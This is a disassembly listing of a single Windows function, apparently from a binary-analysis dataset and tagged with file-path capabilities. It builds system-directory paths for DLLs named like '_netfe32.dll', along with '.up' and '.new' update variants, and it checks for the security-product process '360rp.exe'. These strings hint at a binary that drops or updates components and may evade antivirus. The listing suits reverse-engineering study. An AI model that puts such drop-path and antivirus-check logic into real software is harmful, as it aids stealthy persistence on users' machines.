Function at 0x10013477
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
sub esp, 0x410
lea ebp, [esp - 4]
mov eax, dword [0x1007ef24]
xor eax, ebp
mov dword [ebp + 0x410], eax
push 4
mov eax, 0x1005fd60
call fcn.10042986
mov eax, dword [ebp + 0x41c]
xor ebx, ebx
push 0x1ff
mov dword [ebp - 0x10], eax
lea eax, [ebp + 0x211]
push ebx
push eax
mov byte [ebp + 0x210], bl
call fcn.10042a90
mov eax, dword [ebp + 0x420]
add esp, 0xc
cmp eax, 0x11
ja case.default.0x10012ee1
jmp dword [eax*4 + 0x10013718]
cmp byte [0x10081290], bl
je 0x10012f0b
mov edx, dword [ebp - 0x10]
mov esi, 0x10081290
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x10012efc
jmp 0x100136f4
cmp byte [0x10080b20], bl
je 0x10012f26
push 0x200
lea eax, [ebp + 0x210]
push eax
push 0x10080b20
jmp 0x10012f43
cmp byte [0x1008067c], bl
je case.default.0x10012ee1
push 0x200
lea eax, [ebp + 0x210]
push eax
push 0x1008067c
call fcn.10012bcd
add esp, 0xc
jmp case.default.0x10012ee1
cmp byte [0x100812d0], bl
je 0x10012f73
mov edx, dword [ebp - 0x10]
mov esi, 0x100812d0
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x10012f64
jmp 0x100136f4
cmp byte [0x10081084], bl
je 0x10012f8f
push 0x200
lea eax, [ebp + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x10012fd3
push str.360rp.exe
push 0x10080e60
call fcn.10043620
test eax, eax
pop ecx
pop ecx
jne 0x10012fb7
push ebx
push 0x1a
lea eax, [ebp + 0x210]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
jmp 0x10012fd3
cmp byte [0x10081090], bl
je 0x10012fd3
xor eax, eax
mov cl, byte [eax + 0x10081090]
mov byte [ebp + eax + 0x210], cl
inc eax
cmp cl, bl
jne 0x10012fc1
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10012fe6
mov esi, str.MyToolsHelp_
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10012fff
mov esi, str.cmssc.dll
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
jmp case.default.0x10012ee1
cmp byte [0x10081310], bl
je 0x10013038
mov edx, dword [ebp - 0x10]
mov esi, 0x10081310
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x10013029
jmp 0x100136f4
push 0x200
lea eax, [ebp + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1001305d
mov esi, str._netfe32.dll
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
jmp 0x100135b0
cmp byte [0x10081350], bl
je 0x10013094
mov edx, dword [ebp - 0x10]
mov esi, 0x10081350
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x10013085
jmp 0x100136f4
push 0x200
lea eax, [ebp + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100130b9
mov esi, str._netpt32.dll
jmp 0x1001306a
cmp byte [0x10081390], bl
je 0x100130eb
mov edx, dword [ebp - 0x10]
mov esi, 0x10081390
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x100130dc
jmp 0x100136f4
push 0x200
lea eax, [ebp + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10013110
mov esi, str._netoe32.dll
jmp 0x1001306a
cmp byte [0x10080b20], bl
je 0x1001313d
push 0x200
lea eax, [ebp + 0x210]
push eax
push 0x10080b20
jmp 0x10013156
cmp byte [0x1008067c], bl
je 0x1001315e
push 0x200
lea eax, [ebp + 0x210]
push eax
push 0x1008067c
call fcn.10012bcd
add esp, 0xc
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10013165
mov esi, 0x10066354
movsd dword es:[edi], dword [esi]
jmp case.default.0x10012ee1
cmp byte [0x10080b20], bl
je 0x10013193
push 0x200
lea eax, [ebp + 0x210]
push eax
push 0x10080b20
jmp 0x100131ac
cmp byte [0x1008067c], bl
je 0x100131b4
push 0x200
lea eax, [ebp + 0x210]
push eax
push 0x1008067c
call fcn.10012bcd
add esp, 0xc
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100131bb
mov esi, str..new
jmp 0x100135b0
cmp byte [0x10081084], bl
je 0x100131e9
push 0x200
lea eax, [ebp + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x1001322d
push str.360rp.exe
push 0x10080e60
call fcn.10043620
test eax, eax
pop ecx
pop ecx
jne 0x10013211
push ebx
push 0x1a
lea eax, [ebp + 0x210]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
jmp 0x1001322d
cmp byte [0x10081090], bl
je 0x1001322d
xor eax, eax
mov cl, byte [eax + 0x10081090]
mov byte [ebp + eax + 0x210], cl
inc eax
cmp cl, bl
jne 0x1001321b
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10013240
mov esi, str.MyToolsHelp_
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10013259
mov esi, str.cmssc.dll
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10013271
jmp 0x1001316d
cmp byte [0x10081084], bl
je 0x1001329a
push 0x200
lea eax, [ebp + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x100132de
push str.360rp.exe
push 0x10080e60
call fcn.10043620
test eax, eax
pop ecx
pop ecx
jne 0x100132c2
push ebx
push 0x1a
lea eax, [ebp + 0x210]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
jmp 0x100132de
cmp byte [0x10081090], bl
je 0x100132de
xor eax, eax
mov cl, byte [eax + 0x10081090]
mov byte [ebp + eax + 0x210], cl
inc eax
cmp cl, bl
jne 0x100132cc
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100132f1
mov esi, str.MyToolsHelp_
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1001330a
mov esi, str.cmssc.dll
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10013322
jmp 0x100131c3
push 0x200
lea eax, [ebp + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10013354
mov esi, str._netfe32.dll.up
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
jmp 0x10013172
push 0x200
lea eax, [ebp + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1001338e
mov esi, str._netfe32.dll.new
movsd dword es:[edi], dword [esi]
jmp 0x1001306a
push 0x200
lea eax, [ebp + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100133c6
mov esi, str._netpt32.dll.up
jmp 0x10013361
push 0x200
lea eax, [ebp + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100133fa
mov esi, str._netpt32.dll.new
jmp 0x1001339b
push 0x200
lea eax, [ebp + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1001342e
mov esi, str._netoe32.dll.up
jmp 0x10013361
push 0x200
lea eax, [ebp + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10013465
mov esi, str._netoe32.dll.new
jmp 0x1001339b
push ebx
push 0x26
lea eax, [ebp + 0x210]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1001349b
mov esi, str._baidu_tohome.exe
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
jmp 0x1001300c
cmp byte [0x10080b20], bl
je 0x100134ca
push 0x200
lea eax, [ebp + 0x210]
push eax
push 0x10080b20
jmp 0x100134e3
cmp byte [0x1008067c], bl
je 0x100134eb
push 0x200
lea eax, [ebp + 0x210]
push eax
push 0x1008067c
call fcn.10012bcd
add esp, 0xc
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100134f2
jmp 0x100135ab
cmp byte [0x10081084], bl
je 0x1001351b
push 0x200
lea eax, [ebp + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x1001355f
push str.360rp.exe
push 0x10080e60
call fcn.10043620
test eax, eax
pop ecx
pop ecx
jne 0x10013543
push ebx
push 0x1a
lea eax, [ebp + 0x210]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
jmp 0x1001355f
cmp byte [0x10081090], bl
je 0x1001355f
xor eax, eax
mov cl, byte [eax + 0x10081090]
mov byte [ebp + eax + 0x210], cl
inc eax
cmp cl, bl
jne 0x1001354d
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10013572
mov esi, str.MyToolsHelp_
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x1001358b
mov esi, str.cmssc.dll
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp + 0x210]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x100135a3
mov esi, str..up1
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp + 0x210], bl
je 0x100136f4
lea eax, [ebp + 0x210]
push 0x10063f1c
push eax
call fcn.100435d9
cmp eax, ebx
pop ecx
pop ecx
je 0x100136f4
push eax
call fcn.1004338d
pop ecx
lea ecx, [ebp]
call fcn.1001cf72
lea eax, [ebp + 0x210]
push eax
lea ecx, [ebp]
mov dword [ebp - 4], ebx
call fcn.1001d0a5
lea ecx, [ebp]
call fcn.1001b50b
test eax, eax
je 0x100136e8
lea ecx, [ebp]
call fcn.1001b50b
mov edx, dword [ebp - 0x10]
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
cmp cl, bl
jne 0x10013615
mov eax, dword [ebp + 0x420]
sub eax, ebx
je 0x100136c8
dec eax
je 0x100136a6
dec eax
je 0x10013684
dec eax
je 0x10013662
dec eax
jne 0x100136e8
push 0x40
push ebx
mov esi, 0x10081390
push esi
call fcn.10042a90
mov eax, dword [ebp - 0x10]
add esp, 0xc
sub esi, eax
mov cl, byte [eax]
mov byte [eax + esi], cl
inc eax
cmp cl, bl
jne 0x10013653
jmp 0x100136e8
push 0x40
push ebx
mov esi, 0x10081350
push esi
call fcn.10042a90
mov eax, dword [ebp - 0x10]
add esp, 0xc
sub esi, eax
mov cl, byte [eax]
mov byte [eax + esi], cl
inc eax
cmp cl, bl
jne 0x10013678
jmp 0x100136e8
push 0x40
push ebx
mov esi, 0x10081310
push esi
call fcn.10042a90
mov eax, dword [ebp - 0x10]
add esp, 0xc
sub esi, eax
mov cl, byte [eax]
mov byte [eax + esi], cl
inc eax
cmp cl, bl
jne 0x1001369a
jmp 0x100136e8
push 0x40
push ebx
mov esi, 0x100812d0
push esi
call fcn.10042a90
mov eax, dword [ebp - 0x10]
add esp, 0xc
sub esi, eax
mov cl, byte [eax]
mov byte [eax + esi], cl
inc eax
cmp cl, bl
jne 0x100136bc
jmp 0x100136e8
push 0x40
push ebx
mov esi, 0x10081290
push esi
call fcn.10042a90
mov eax, dword [ebp - 0x10]
add esp, 0xc
sub esi, eax
mov cl, byte [eax]
mov byte [eax + esi], cl
inc eax
cmp cl, bl
jne 0x100136de
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp]
call fcn.1001cbec
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x410]
xor ecx, ebp
call fcn.10042977
add ebp, 0x414
leave
ret